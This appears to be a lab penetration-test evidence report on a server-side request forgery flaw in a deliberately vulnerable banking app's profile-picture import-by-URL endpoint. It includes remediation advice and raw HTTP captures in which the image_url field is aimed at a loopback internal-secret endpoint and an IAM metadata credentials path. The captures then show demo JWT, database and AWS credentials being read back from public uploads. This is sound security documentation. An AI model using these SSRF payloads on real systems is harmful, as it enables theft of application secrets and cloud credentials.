Test case 15 / 26FAIL
Server-Side Request Forgery - Profile Picture - Import By URL
Lab environment — not a production system
Screenshots and raw traffic are not translated; text within them may be in another language.
vuln-bank/Evidence/[FAIL] Server-Side Request Forgery - Profile Picture - Import By URL
01 — Notes
Test notes
Vulnerability
[FAIL] Server-Side Request Forgery - Profile Picture - Import By URL
Description
The /upload_profile_picture_url endpoint accepts a full URL from the client and performs a server-side requests.get without a scheme or host allow-list, follows redirects, and does not validate content-type. The upstream response body is stored as-is in the publicly accessible static/uploads/, so the result of internal requests can be downloaded back by the attacker.
Impact
Confidentiality (High): an authenticated attacker can force the server to read internal endpoints that deny direct access, then exfiltrate them through the public upload directory. In testing this disclosed the application's jwt_secret and app_secret_key, database credentials, and temporary cloud IAM credentials (AccessKeyId, SecretAccessKey, session token). Leaking jwt_secret allows forging validly signed administrator tokens, leading to full compromise.
CWE
CWE-918: Server-Side Request Forgery (SSRF)
OWASP
A10:2021 - Server-Side Request Forgery (SSRF)
Scenario
Normal: image_url points to a legitimate profile image and the server imports it. Control: /internal/secret accessed directly from outside -> HTTP 403 Forbidden. Exploitation: image_url is pointed at http://127.0.0.1:5000/internal/secret -> the server fetches it with HTTP 200 and stores it in static/uploads. Exfiltration: the downloaded file is retrieved over ordinary HTTP, disclosing application secrets. Chain: the same technique is aimed at the IAM metadata endpoint to harvest cloud credentials.
Endpoint
POST http://127.0.0.1:5001/upload_profile_picture_url
Affected feature
Profile picture import by URL
Remediation
- Apply a host and scheme allow-list; reject URLs to loopback, RFC1918, link-local (169.254.0.0/16), and internal service names.
- Resolve DNS and validate the resolved IP before making the request, and repeat the validation on every redirect (or disable redirects).
- Validate content-type and size; accept images only.
- Store downloaded files outside the web root, give them random names, and serve them through an authorized handler rather than as public static files.
- Do not reflect upstream request status and metadata to the client.
Proof of concept
1) (Screenshot 1) NORMAL: image_url points to a legitimate profile image -> import succeeds.
2) (Screenshot 2) CONTROL: direct access to /internal/secret from outside -> HTTP 403 Forbidden.
3) (Screenshot 3) EXPLOITATION: image_url is pointed at /internal/secret -> the server fetches it, http_status 200, the file is stored in static/uploads.
4) (Screenshot 4) EXFILTRATION: the SSRF output file is downloaded -> jwt_secret, app_secret_key, and database credentials are exposed.
5) (Screenshot 5) CHAIN: image_url is pointed at the IAM metadata endpoint -> fetched by the server with http_status 200.
6) (Screenshot 6) CIA IMPACT: the IAM credential file is downloaded -> AccessKeyId, SecretAccessKey, and session token are exposed.
View source note (English)
Vulnerability:
[FAIL] Server-Side Request Forgery - Profile Picture - Import By URL
Description:
The /upload_profile_picture_url endpoint accepts a full URL from the client and performs a server-side requests.get without a scheme or host allow-list, follows redirects, and does not validate content-type. The upstream response body is stored as-is in the publicly accessible static/uploads/, so the result of internal requests can be downloaded back by the attacker.
Impact:
Confidentiality (High): an authenticated attacker can force the server to read internal endpoints that deny direct access, then exfiltrate them through the public upload directory. In testing this disclosed the application's jwt_secret and app_secret_key, database credentials, and temporary cloud IAM credentials (AccessKeyId, SecretAccessKey, session token). Leaking jwt_secret allows forging validly signed administrator tokens, leading to full compromise.
CWE:
CWE-918: Server-Side Request Forgery (SSRF)
OWASP:
A10:2021 - Server-Side Request Forgery (SSRF)
Scenario:
Normal: image_url points to a legitimate profile image and the server imports it. Control: /internal/secret accessed directly from outside -> HTTP 403 Forbidden. Exploitation: image_url is pointed at http://127.0.0.1:5000/internal/secret -> the server fetches it with HTTP 200 and stores it in static/uploads. Exfiltration: the downloaded file is retrieved over ordinary HTTP, disclosing application secrets. Chain: the same technique is aimed at the IAM metadata endpoint to harvest cloud credentials.
Endpoint:
POST http://127.0.0.1:5001/upload_profile_picture_url
Affected Feature:
Profile picture import by URL
Remediation:
- Apply a host and scheme allow-list; reject URLs to loopback, RFC1918, link-local (169.254.0.0/16), and internal service names.
- Resolve DNS and validate the resolved IP before making the request, and repeat the validation on every redirect (or disable redirects).
- Validate content-type and size; accept images only.
- Store downloaded files outside the web root, give them random names, and serve them through an authorized handler rather than as public static files.
- Do not reflect upstream request status and metadata to the client.
POC:
1) (Screenshot 1) NORMAL: image_url points to a legitimate profile image -> import succeeds.
2) (Screenshot 2) CONTROL: direct access to /internal/secret from outside -> HTTP 403 Forbidden.
3) (Screenshot 3) EXPLOITATION: image_url is pointed at /internal/secret -> the server fetches it, http_status 200, the file is stored in static/uploads.
4) (Screenshot 4) EXFILTRATION: the SSRF output file is downloaded -> jwt_secret, app_secret_key, and database credentials are exposed.
5) (Screenshot 5) CHAIN: image_url is pointed at the IAM metadata endpoint -> fetched by the server with http_status 200.
6) (Screenshot 6) CIA IMPACT: the IAM credential file is downloaded -> AccessKeyId, SecretAccessKey, and session token are exposed.
02 — Screenshots
Screenshots (6)
03 — Requests and responses
HTTP captures
Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.
CAPTURE 01 / 1
POST /upload_profile_picture_url HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 61
Content-Type: application/json
{"image_url": "http://127.0.0.1:5000/static/images/user.png"}HTTP/1.1 400 BAD REQUEST
Content-Type: application/json
Content-Length: 71
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:01:59 GMT
{
"message": "Failed to fetch URL: HTTP 404",
"status": "error"
}CAPTURE 02 / 2
GET /internal/secret HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
HTTP/1.1 403 FORBIDDEN
Content-Type: application/json
Content-Length: 51
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:00 GMT
{
"error": "Internal resource. Loopback only."
}CAPTURE 03 / 3
POST /upload_profile_picture_url HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 54
Content-Type: application/json
{"image_url": "http://127.0.0.1:5000/internal/secret"}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 261
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:01 GMT
{
"debug_info": {
"content_length": 508,
"fetched_url": "http://127.0.0.1:5000/internal/secret",
"http_status": 200
},
"file_path": "static/uploads/823584_secret",
"message": "Profile picture imported from URL",
"status": "success"
}CAPTURE 04 / 4
GET /static/uploads/823584_secret HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
HTTP/1.1 200 OK
Content-Disposition: inline; filename=823584_secret
Content-Type: application/octet-stream
Content-Length: 508
Last-Modified: Wed, 30 Sep 2026 03:02:01 GMT
Cache-Control: no-cache
Date: Wed, 30 Sep 2026 03:02:02 GMT
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
{
"note": "Intentionally sensitive data for SSRF demonstration",
"secrets": {
"app_secret_key": "secret123",
"env_preview": {
"DB_HOST": "db",
"DB_NAME": "vulnerable_bank",
"DB_PASSWORD": "postgres",
"DB_PORT": "5432",
"DB_USER": "postgres",
"DEEPSEEK_API_KEY": null
},
"jwt_secret": "secret123"
},
"status": "internal",
"system": {
"platform": "Linux-6.10.14-linuxkit-aarch64-with-glibc2.41",
"python_version": "3.9.25"
}
}CAPTURE 05 / 5
POST /upload_profile_picture_url HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 94
Content-Type: application/json
{"image_url": "http://127.0.0.1:5000/latest/meta-data/iam/security-credentials/vulnbank-role"}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 308
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:04 GMT
{
"debug_info": {
"content_length": 382,
"fetched_url": "http://127.0.0.1:5000/latest/meta-data/iam/security-credentials/vulnbank-role",
"http_status": 200
},
"file_path": "static/uploads/267557_vulnbank-role",
"message": "Profile picture imported from URL",
"status": "success"
}CAPTURE 06 / 6
GET /static/uploads/267557_vulnbank-role HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
HTTP/1.1 200 OK
Content-Disposition: inline; filename=267557_vulnbank-role
Content-Type: application/octet-stream
Content-Length: 382
Last-Modified: Wed, 30 Sep 2026 03:02:04 GMT
Cache-Control: no-cache
Date: Wed, 30 Sep 2026 03:02:05 GMT
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
{
"AccessKeyId": "ASIADEMO1234567890",
"Code": "Success",
"Expiration": "2026-09-30T04:02:04.022586",
"LastUpdated": "2026-09-30T03:02:04.022573",
"RoleArn": "arn:aws:iam::123456789012:role/vulnbank-role",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYDEMODEMO",
"Token": "[REDACTED-LAB-VALUE]",
"Type": "AWS-HMAC"
}